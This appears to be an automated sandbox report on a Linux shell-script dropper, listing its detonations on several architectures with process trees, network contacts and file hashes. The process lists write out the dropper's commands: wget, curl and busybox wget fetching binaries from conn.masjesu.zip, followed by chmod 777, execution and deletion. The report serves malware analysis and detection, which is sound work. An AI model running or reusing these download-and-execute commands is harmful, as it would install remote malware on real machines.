Analysis Overview
SHA256
adb94fe911b26a17d9fd932501da4e2c87b61c42228c50db8ac095b4e985567e
Threat Level: Shows suspicious behavior
The file adb94fe911b26a17d9fd932501da4e2c87b61c42228c50db8ac095b4e985567e.sh was found to be: Shows suspicious behavior.
Malicious Activity Summary
File and Directory Permissions Modification
Executes dropped EXE
Checks CPU configuration
Reads runtime system information
Writes file to tmp directory
System Network Configuration Discovery
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-25 02:52
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-25 02:52
Reported
2024-11-25 02:55
Platform
ubuntu1804-amd64-20240611-en
Max time kernel
149s
Max time network
131s
Command Line
Signatures
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
Processes
/tmp/adb94fe911b26a17d9fd932501da4e2c87b61c42228c50db8ac095b4e985567e.sh
[/tmp/adb94fe911b26a17d9fd932501da4e2c87b61c42228c50db8ac095b4e985567e.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B]
Network
| Country | Destination | Domain | Proto |
| N/A | 224.0.0.251:5353 | udp | |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 151.101.193.91:443 | tcp | |
| GB | 89.187.167.8:443 | tcp | |
| GB | 185.125.188.61:443 | tcp | |
| GB | 185.125.188.62:443 | tcp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-25 02:52
Reported
2024-11-25 02:55
Platform
debian9-armhf-20240611-en
Max time kernel
149s
Max time network
14s
Command Line
Signatures
Checks CPU configuration
| Description | Indicator | Process | Target |
| File opened for reading | /proc/cpuinfo | /usr/bin/curl | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/self/auxv | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/adb94fe911b26a17d9fd932501da4e2c87b61c42228c50db8ac095b4e985567e.sh
[/tmp/adb94fe911b26a17d9fd932501da4e2c87b61c42228c50db8ac095b4e985567e.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
Files
Analysis: behavioral3
Detonation Overview
Submitted
2024-11-25 02:52
Reported
2024-11-25 02:55
Platform
debian9-mipsbe-20240611-en
Max time kernel
142s
Max time network
152s
Command Line
Signatures
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/busybox | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B | /usr/bin/curl | N/A |
Processes
/tmp/adb94fe911b26a17d9fd932501da4e2c87b61c42228c50db8ac095b4e985567e.sh
[/tmp/adb94fe911b26a17d9fd932501da4e2c87b61c42228c50db8ac095b4e985567e.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
/tmp/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
| MD5 | 998368d7c95ea4293237f2320546e440 |
| SHA1 | 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4 |
| SHA256 | 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736 |
| SHA512 | 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97 |
Analysis: behavioral4
Detonation Overview
Submitted
2024-11-25 02:52
Reported
2024-11-25 02:55
Platform
debian9-mipsel-20240226-en
Max time kernel
21s
Max time network
91s
Command Line
Signatures
File and Directory Permissions Modification
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/chmod | N/A |
| N/A | N/A | /bin/chmod | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /tmp/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B | /tmp/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B | N/A |
| N/A | /tmp/d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef | /tmp/d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/busybox | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /bin/busybox | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef | /usr/bin/curl | N/A |
| File opened for modification | /tmp/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B | /usr/bin/curl | N/A |
Processes
/tmp/adb94fe911b26a17d9fd932501da4e2c87b61c42228c50db8ac095b4e985567e.sh
[/tmp/adb94fe911b26a17d9fd932501da4e2c87b61c42228c50db8ac095b4e985567e.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B]
/bin/chmod
[chmod 777 rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B]
/tmp/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
[./rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B]
/bin/rm
[rm rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef]
/bin/chmod
[chmod 777 d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef]
/tmp/d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef
[./d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef]
/bin/rm
[rm d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/Ca1tYwT46uqUVOyPeS6TqAjun0aJadZl1e]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
/tmp/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
| MD5 | 998368d7c95ea4293237f2320546e440 |
| SHA1 | 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4 |
| SHA256 | 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736 |
| SHA512 | 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97 |